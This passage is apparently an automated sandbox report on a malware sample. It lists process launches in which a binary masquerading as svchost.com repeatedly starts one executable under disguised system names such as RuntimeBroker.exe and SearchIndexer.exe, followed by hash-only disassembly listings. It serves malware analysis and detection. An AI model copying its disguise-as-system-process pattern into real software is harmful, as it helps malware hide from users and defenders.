                                                                  MD5 hash:3E3FE7663181211E5983DA48431DDF33
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:57
                                                                  Start time:07:10:51
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\svchost.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                  Imagebase:0x7ff6eef20000
                                                                  File size:55'320 bytes
                                                                  MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:58
                                                                  Start time:07:11:00
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\svchost.com
                                                                  Wow64 process (32bit):true
                                                                  Commandline:"C:\Windows\svchost.com" "C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE"
                                                                  Imagebase:0x400000
                                                                  File size:41'472 bytes
                                                                  MD5 hash:36FD5E09C417C767A952B4609D73A54B
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:59
                                                                  Start time:07:11:00
                                                                  Start date:13/01/2025
                                                                  Path:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE
                                                                  Imagebase:0x7a0000
                                                                  File size:3'704'832 bytes
                                                                  MD5 hash:3E3FE7663181211E5983DA48431DDF33
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:60
                                                                  Start time:07:11:09
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\svchost.com
                                                                  Wow64 process (32bit):true
                                                                  Commandline:"C:\Windows\svchost.com" "C:\PROGRA~1\WI8A19~1\RUNTIM~1.EXE"
                                                                  Imagebase:0x400000
                                                                  File size:41'472 bytes
                                                                  MD5 hash:36FD5E09C417C767A952B4609D73A54B
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:61
                                                                  Start time:07:11:09
                                                                  Start date:13/01/2025
                                                                  Path:C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\PROGRA~1\WI8A19~1\RUNTIM~1.EXE
                                                                  Imagebase:0xc60000
                                                                  File size:3'704'832 bytes
                                                                  MD5 hash:3E3FE7663181211E5983DA48431DDF33
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:63
                                                                  Start time:07:11:20
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\svchost.com
                                                                  Wow64 process (32bit):true
                                                                  Commandline:"C:\Windows\svchost.com" "C:\Users\user\AppData\Local\Temp\3582-490\SEARCH~1.EXE"
                                                                  Imagebase:0x400000
                                                                  File size:41'472 bytes
                                                                  MD5 hash:36FD5E09C417C767A952B4609D73A54B
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:64
                                                                  Start time:07:11:21
                                                                  Start date:13/01/2025
                                                                  Path:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Users\user\AppData\Local\Temp\3582-490\SEARCH~1.EXE
                                                                  Imagebase:0x4e0000
                                                                  File size:3'704'832 bytes
                                                                  MD5 hash:3E3FE7663181211E5983DA48431DDF33
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:65
                                                                  Start time:07:11:34
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\svchost.com
                                                                  Wow64 process (32bit):true
                                                                  Commandline:"C:\Windows\svchost.com" "C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE"
                                                                  Imagebase:0x400000
                                                                  File size:41'472 bytes
                                                                  MD5 hash:36FD5E09C417C767A952B4609D73A54B
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:66
                                                                  Start time:07:11:34
                                                                  Start date:13/01/2025
                                                                  Path:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE
                                                                  Imagebase:0xbd0000
                                                                  File size:3'704'832 bytes
                                                                  MD5 hash:3E3FE7663181211E5983DA48431DDF33
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:67
                                                                  Start time:07:11:46
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\svchost.com
                                                                  Wow64 process (32bit):true
                                                                  Commandline:"C:\Windows\svchost.com" "C:\PROGRA~1\WI8A19~1\RUNTIM~1.EXE"
                                                                  Imagebase:0x400000
                                                                  File size:41'472 bytes
                                                                  MD5 hash:36FD5E09C417C767A952B4609D73A54B
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:68
                                                                  Start time:07:11:46
                                                                  Start date:13/01/2025
                                                                  Path:C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\PROGRA~1\WI8A19~1\RUNTIM~1.EXE
                                                                  Imagebase:0xa90000
                                                                  File size:3'704'832 bytes
                                                                  MD5 hash:3E3FE7663181211E5983DA48431DDF33
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:69
                                                                  Start time:07:11:54
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\svchost.com
                                                                  Wow64 process (32bit):true
                                                                  Commandline:"C:\Windows\svchost.com" "C:\Users\user\AppData\Local\Temp\3582-490\SEARCH~1.EXE"
                                                                  Imagebase:0x400000
                                                                  File size:41'472 bytes
                                                                  MD5 hash:36FD5E09C417C767A952B4609D73A54B
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:70
                                                                  Start time:07:11:54
                                                                  Start date:13/01/2025
                                                                  Path:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Users\user\AppData\Local\Temp\3582-490\SEARCH~1.EXE
                                                                  Imagebase:0x460000
                                                                  File size:3'704'832 bytes
                                                                  MD5 hash:3E3FE7663181211E5983DA48431DDF33
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:71
                                                                  Start time:07:12:03
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\svchost.com
                                                                  Wow64 process (32bit):true
                                                                  Commandline:"C:\Windows\svchost.com" "C:\Windows\Provisioning\Packages\TAVTSO~1.EXE"
                                                                  Imagebase:0x400000
                                                                  File size:41'472 bytes
                                                                  MD5 hash:36FD5E09C417C767A952B4609D73A54B
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:72
                                                                  Start time:07:12:03
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\Provisioning\Packages\tAVtSoJGTaCxrZiXcJn.exe
                                                                  Wow64 process (32bit):
                                                                  Commandline:C:\Windows\Provisioning\Packages\TAVTSO~1.EXE
                                                                  Imagebase:
                                                                  File size:3'704'832 bytes
                                                                  MD5 hash:3E3FE7663181211E5983DA48431DDF33
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:false

                                                                  Disassembly

                                                                  Reset < >

                                                                    Execution Graph

                                                                    Execution Coverage:4.9%
                                                                    Dynamic/Decrypted Code Coverage:100%
                                                                    Signature Coverage:0%
                                                                    Total number of Nodes:3
                                                                    Total number of Limit Nodes:0
                                                                    execution_graph 31439 7ffd9b8d2ab8 31440 7ffd9b8d2ac1 CloseHandle 31439->31440 31442 7ffd9b8ee634 31440->31442

                                                                    Executed Functions

                                                                    Function 00007FFD9BC5115F Relevance: .7, Instructions: 702COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.3227052771.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9bc50000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 47e4c9bee12504b8b1ef954de255e1fee5c042a6a67f876fb515cb0640043baf
                                                                    • Instruction ID: 685d53e87ec0acb6dca6084e5560d6ae37384f4bd8030f9f8b34e2502817daac
                                                                    • Opcode Fuzzy Hash: 47e4c9bee12504b8b1ef954de255e1fee5c042a6a67f876fb515cb0640043baf
                                                                    • Instruction Fuzzy Hash: 1F42BF30A1D6498FDB6CCFA8C4A46BC77A1FF55300F5141BDD45ECB29ADA78AA81CB40
                                                                    Function 00007FFD9B8C1385 Relevance: .4, Instructions: 423COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b8c1000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 553ea6abd17d7f267f3429ed2914af810244deed56af07c85df9a5edb5965166
                                                                    • Instruction ID: 134a390196b50418e35807a8615424e6d8c8af3cb908346139b83eb61d409223
                                                                    • Opcode Fuzzy Hash: 553ea6abd17d7f267f3429ed2914af810244deed56af07c85df9a5edb5965166
                                                                    • Instruction Fuzzy Hash: A7B1DF61E2E68A0BE32DBB688CD20B577D1EF96305B1D877EC4DBC3097D928A5074381
                                                                    Function 00007FFD9B890D77 Relevance: .3, Instructions: 255COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b890000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 77011d7f054d70d7e320dbb5a4646801362000ca7114f3aa4d2d4ba27c18a248
                                                                    • Instruction ID: aa62910cddf7d712179936a82ab6bf5425ef9d0c09799e688942c383fee3e19e
                                                                    • Opcode Fuzzy Hash: 77011d7f054d70d7e320dbb5a4646801362000ca7114f3aa4d2d4ba27c18a248
                                                                    • Instruction Fuzzy Hash: 8591F571A18A8D4FE798EB6888757A9BFF1FF5A311F4000BAD049D72DADF7814018741
                                                                    Function 00007FFD9BC537C5 Relevance: 2.0, Strings: 1, Instructions: 725COMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 0 7ffd9bc537c5-7ffd9bc537fe 1 7ffd9bc53804-7ffd9bc53809 0->1 2 7ffd9bc5392c-7ffd9bc53936 0->2 3 7ffd9bc5380f-7ffd9bc53827 1->3 4 7ffd9bc538fb-7ffd9bc53910 1->4 9 7ffd9bc53937-7ffd9bc53994 2->9 5 7ffd9bc53829-7ffd9bc53839 3->5 6 7ffd9bc5383b-7ffd9bc5385f 3->6 5->6 6->9 11 7ffd9bc53865-7ffd9bc53870 6->11 14 7ffd9bc53cb1-7ffd9bc53cbb 9->14 15 7ffd9bc5399a-7ffd9bc5399f 9->15 11->4 13 7ffd9bc53876-7ffd9bc5387e 11->13 13->9 16 7ffd9bc53884-7ffd9bc53890 13->16 26 7ffd9bc53cbc-7ffd9bc53d2e 14->26 17 7ffd9bc539a1-7ffd9bc539a4 15->17 18 7ffd9bc539ab-7ffd9bc539c4 15->18 20 7ffd9bc53892-7ffd9bc5389e 16->20 21 7ffd9bc538e3-7ffd9bc538eb 16->21 17->18 22 7ffd9bc539c6-7ffd9bc539d6 18->22 23 7ffd9bc539d8-7ffd9bc53a05 18->23 20->9 27 7ffd9bc538a4-7ffd9bc538b8 20->27 21->9 25 7ffd9bc538ed-7ffd9bc538f5 21->25 22->23 23->26 31 7ffd9bc53a0b-7ffd9bc53a16 23->31 25->4 25->13 58 7ffd9bc53d30-7ffd9bc53d36 26->58 59 7ffd9bc53d4b-7ffd9bc53d5c 26->59 29 7ffd9bc53911-7ffd9bc53916 27->29 30 7ffd9bc538ba-7ffd9bc538cd 27->30 32 7ffd9bc538d1-7ffd9bc538e1 29->32 30->32 35 7ffd9bc53ad4-7ffd9bc53ad9 31->35 36 7ffd9bc53a1c-7ffd9bc53a2a 31->36 32->21 42 7ffd9bc53918-7ffd9bc5392b 32->42 37 7ffd9bc53b6d-7ffd9bc53b77 35->37 38 7ffd9bc53adf-7ffd9bc53ae9 35->38 36->26 39 7ffd9bc53a30-7ffd9bc53a41 36->39 44 7ffd9bc53b99-7ffd9bc53ba0 37->44 45 7ffd9bc53b79-7ffd9bc53b84 37->45 38->26 43 7ffd9bc53aef-7ffd9bc53b03 38->43 46 7ffd9bc53a43-7ffd9bc53a66 39->46 47 7ffd9bc53aa9-7ffd9bc53ac0 39->47 49 7ffd9bc53ba3-7ffd9bc53bad 43->49 44->49 65 7ffd9bc53b8b-7ffd9bc53b97 45->65 50 7ffd9bc53a6c-7ffd9bc53a7f 46->50 51 7ffd9bc53b08-7ffd9bc53b0d 46->51 47->26 52 7ffd9bc53ac6-7ffd9bc53ace 47->52 49->26 56 7ffd9bc53bb3-7ffd9bc53bcb 49->56 54 7ffd9bc53a83-7ffd9bc53aa7 50->54 51->54 52->35 52->36 54->47 69 7ffd9bc53b12-7ffd9bc53b15 54->69 56->26 60 7ffd9bc53bd1-7ffd9bc53be9 56->60 61 7ffd9bc53d91-7ffd9bc53df9 58->61 62 7ffd9bc53d38-7ffd9bc53d49 58->62 63 7ffd9bc53d6d-7ffd9bc53d90 59->63 64 7ffd9bc53d5e-7ffd9bc53d6b 59->64 60->26 66 7ffd9bc53bef-7ffd9bc53c23 60->66 62->58 62->59 64->63 65->44 66->26 91 7ffd9bc53c29-7ffd9bc53c3c 66->91 70 7ffd9bc53b2b-7ffd9bc53b38 69->70 71 7ffd9bc53b17-7ffd9bc53b27 69->71 70->26 75 7ffd9bc53b3e-7ffd9bc53b6c 70->75 71->70 92 7ffd9bc53c3e-7ffd9bc53c49 91->92 93 7ffd9bc53c9f-7ffd9bc53cb0 91->93 92->93 97 7ffd9bc53c4b-7ffd9bc53c62 92->97 99 7ffd9bc53c73-7ffd9bc53c95 97->99 100 7ffd9bc53c64-7ffd9bc53c71 97->100 99->93 100->99
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.3227052771.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9bc50000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: d
                                                                    • API String ID: 0-2564639436
                                                                    • Opcode ID: 5a3eb766c6d7113a83640e6621880856149aa7714a3120bb81f02ed59e7977c3
                                                                    • Instruction ID: 33d1af6ec6fda0a20dc1cb4aaa7f5508c17a6fac7c0c0833c50e3301b9183ea2
                                                                    • Opcode Fuzzy Hash: 5a3eb766c6d7113a83640e6621880856149aa7714a3120bb81f02ed59e7977c3
                                                                    • Instruction Fuzzy Hash: 7B223230B1CA0A8FD719DFA8D8A197573E1EF95314B1442BAD48AC72A7DA24F843C781
                                                                    Function 00007FFD9BC5A518 Relevance: 1.4, Strings: 1, Instructions: 157COMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.3227052771.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9bc50000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID: 0-3916222277
                                                                    • Opcode ID: 1ad02ff3c0c85fb1f9130d0fdadfabd1c798a24f6d6758e24d951c5333705156
                                                                    • Instruction ID: 55f508b685972f5ba62efffff1133312b74007d3b02e55e6570f02bef95978dd
                                                                    • Opcode Fuzzy Hash: 1ad02ff3c0c85fb1f9130d0fdadfabd1c798a24f6d6758e24d951c5333705156
                                                                    • Instruction Fuzzy Hash: E7516971E0D50E9FDB69DBE8C4649ADB7B1EF54300F5140BAE01AE72A2DA792A05CB40
                                                                    Function 00007FFD9BC50EE8 Relevance: 1.4, Strings: 1, Instructions: 155COMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 141 7ffd9bc50ee8-7ffd9bc50f00 143 7ffd9bc50f08-7ffd9bc50f33 141->143 147 7ffd9bc50f5c-7ffd9bc50f62 143->147 148 7ffd9bc50f69-7ffd9bc50f6f 147->148 149 7ffd9bc50f71-7ffd9bc50f76 148->149 150 7ffd9bc50f35-7ffd9bc50f4e 148->150 151 7ffd9bc50e63-7ffd9bc50ea8 149->151 152 7ffd9bc50f7c-7ffd9bc50fb1 149->152 153 7ffd9bc50f54-7ffd9bc50f59 150->153 154 7ffd9bc51045-7ffd9bc51055 150->154 151->148 158 7ffd9bc50eae-7ffd9bc50eb4 151->158 153->147 160 7ffd9bc51057 154->160 161 7ffd9bc51058-7ffd9bc510a6 154->161 162 7ffd9bc50e65-7ffd9bc5103d 158->162 163 7ffd9bc50eb6 158->163 160->161 162->154 164 7ffd9bc50edf-7ffd9bc50ee6 163->164 164->141 167 7ffd9bc50eb8-7ffd9bc50ed1 164->167 167->154 170 7ffd9bc50ed7-7ffd9bc50edc 167->170 170->164
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.3227052771.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9bc50000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID: 0-3916222277
                                                                    • Opcode ID: a3bd840bf21381b3c01408505136fbf0e6c25ec9ee71e0abfb9a32cdb83ed495
                                                                    • Instruction ID: 0578e9d9c80dd20f50642b01a65a7974c84ef84d68118c4445443b6f5760c264
                                                                    • Opcode Fuzzy Hash: a3bd840bf21381b3c01408505136fbf0e6c25ec9ee71e0abfb9a32cdb83ed495
                                                                    • Instruction Fuzzy Hash: 2B517C31E0D64E8FDB59DBE8C8A55BCB7B1EF59300F1540BEC05AE7292CAB86905CB50
                                                                    Function 00007FFD9B8D2AB8 Relevance: 1.4, APIs: 1, Instructions: 116COMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 173 7ffd9b8d2ab8-7ffd9b8ee632 CloseHandle 180 7ffd9b8ee63a-7ffd9b8ee668 173->180 181 7ffd9b8ee634 173->181 181->180
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b8c1000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID: CloseHandle
                                                                    • String ID:
                                                                    • API String ID: 2962429428-0
                                                                    • Opcode ID: cd454820be27c86b77f753706ce8bc30e1d78b8bc60cf60d85381f8b22da12c3
                                                                    • Instruction ID: d849f39c003ff4952fdb98deda1557795779bdd55a23a4a8746247250246127b
                                                                    • Opcode Fuzzy Hash: cd454820be27c86b77f753706ce8bc30e1d78b8bc60cf60d85381f8b22da12c3
                                                                    • Instruction Fuzzy Hash: B5310671A0DA4C8FDB68DB98C8556B9BBE0FF95320F04426FD04DC31A3DA24A945CB91
                                                                    Function 00007FFD9B8BE729 Relevance: 1.3, Strings: 1, Instructions: 30COMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 183 7ffd9b8be729-7ffd9b8be75a 185 7ffd9b8be75e-7ffd9b8be763 183->185
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B8B1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B1000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b8b1000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: M
                                                                    • API String ID: 0-3664761504
                                                                    • Opcode ID: 1c22822c7e6e63048a699f6493b514d4f0397522fafe1fbbd09a736ee1fe0cab
                                                                    • Instruction ID: 6aced848c10bb6b915b188a9cb1e17d50a4896106590207a4dc686e3891505d8
                                                                    • Opcode Fuzzy Hash: 1c22822c7e6e63048a699f6493b514d4f0397522fafe1fbbd09a736ee1fe0cab
                                                                    • Instruction Fuzzy Hash: EAF0E56190F3C08FCB169A3488288407FA0EF2720174A41EEC045CF1A3DA1D8885CB01
                                                                    Function 00007FFD9B8B57C9 Relevance: 1.3, Strings: 1, Instructions: 26COMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 192 7ffd9b8b57c9-7ffd9b8b57fa 193 7ffd9b8b57fe-7ffd9b8b5803 192->193
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B8B1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B1000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b8b1000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: M
                                                                    • API String ID: 0-3664761504
                                                                    • Opcode ID: 02b1916b7375e295cb0b3a807300a48a8a47f94c22dcc328df18061bab4ea089
                                                                    • Instruction ID: cd81cc14144a1b1b0d0309dfb6c9e27c33ac1e644066021b442f447df3c12f49
                                                                    • Opcode Fuzzy Hash: 02b1916b7375e295cb0b3a807300a48a8a47f94c22dcc328df18061bab4ea089
                                                                    • Instruction Fuzzy Hash: B1E0923060E7C04FCB16AB348468455BFB0EF6720174A42EEC05ACB1A3EB2DC886CB01
                                                                    Function 00007FFD9B8B9339 Relevance: 1.3, Strings: 1, Instructions: 25COMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 196 7ffd9b8b9339-7ffd9b8b9364 198 7ffd9b8b9368-7ffd9b8b936d 196->198
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B8B1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B1000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b8b1000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: I
                                                                    • API String ID: 0-3707901625
                                                                    • Opcode ID: bc21f4ce9055b68ad71425ac00ada1559636eed688b6d1c7bc0d4d27f46ccab7
                                                                    • Instruction ID: b24354dc3d1c460ff94d764a6c81c12add16df4dffe15a7c34f284dc3a98a57c
                                                                    • Opcode Fuzzy Hash: bc21f4ce9055b68ad71425ac00ada1559636eed688b6d1c7bc0d4d27f46ccab7
                                                                    • Instruction Fuzzy Hash: 7AE01A7154B7D44FCB56AB7488AA8543FB0EE6B25078B41EEC085CF1B3E62D984AC701
                                                                    Function 00007FFD9B8B9189 Relevance: 1.3, Strings: 1, Instructions: 22COMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 202 7ffd9b8b9189-7ffd9b8b91b4 204 7ffd9b8b91b8-7ffd9b8b91bd 202->204
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B8B1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B1000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b8b1000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: I
                                                                    • API String ID: 0-3707901625
                                                                    • Opcode ID: 11c33c14d8fe2985c980873205c250f73642c19b647d50a581ebbf56a44d0100
                                                                    • Instruction ID: a26706ae2bf3e8c23256c4fbc80bd00d9d87522abcf127159389ed0696331f04
                                                                    • Opcode Fuzzy Hash: 11c33c14d8fe2985c980873205c250f73642c19b647d50a581ebbf56a44d0100
                                                                    • Instruction Fuzzy Hash: 2AE01A7154F7C44FCB16EB7488698547FA0EE6B21078B44EEC085CF1B3E62D8949C701
                                                                    Function 00007FFD9B8A089D Relevance: 1.0, Instructions: 1042COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b8a0000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 7b76afedc772d63ff7c3f539d89e272bc39f8e664451e7d61d3cf6bf91524df4
                                                                    • Instruction ID: 390f5cb9ebfe7309f91d0b59b7483594be428f04c3fc369cfada961c060b289d
                                                                    • Opcode Fuzzy Hash: 7b76afedc772d63ff7c3f539d89e272bc39f8e664451e7d61d3cf6bf91524df4
                                                                    • Instruction Fuzzy Hash: AB72D731B1A95E4FEBA8FB5888A16B877D2FF58350F1501B9D00DC32E7DE28AD428751
                                                                    Function 00007FFD9B8A155E Relevance: .7, Instructions: 682COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b8a0000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 9bcc8e1dbc8db43fa208a22b6c55b5699a5ec1a257cc4652979dad57338ed724
                                                                    • Instruction ID: 4bde082d7449e13fa0fd2e185a9593acaa13fece92285c4ab5a606f6ba9345ec
                                                                    • Opcode Fuzzy Hash: 9bcc8e1dbc8db43fa208a22b6c55b5699a5ec1a257cc4652979dad57338ed724
                                                                    • Instruction Fuzzy Hash: D922D531B1D94E4BEBACFB6888A16B47792FF58310F1505B9D01EC31E7DE38A9828741
                                                                    Function 00007FFD9BC5A785 Relevance: .4, Instructions: 444COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.3227052771.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9bc50000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 40bb9af4ef494322f9266975e33b8216a71226a464c7b50a82ed7bb9957d0848
                                                                    • Instruction ID: 65400afc93af55c90efd2d2161f624e7ee62b918633f7ff110de3cf37be2a8ec
                                                                    • Opcode Fuzzy Hash: 40bb9af4ef494322f9266975e33b8216a71226a464c7b50a82ed7bb9957d0848
                                                                    • Instruction Fuzzy Hash: 15F1E730A1D55D8FEB58CFA9C4E06B937A1FF45300F5141BDD84ACB29ADA78E981CB81
                                                                    Function 00007FFD9B8A0FC7 Relevance: .4, Instructions: 420COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
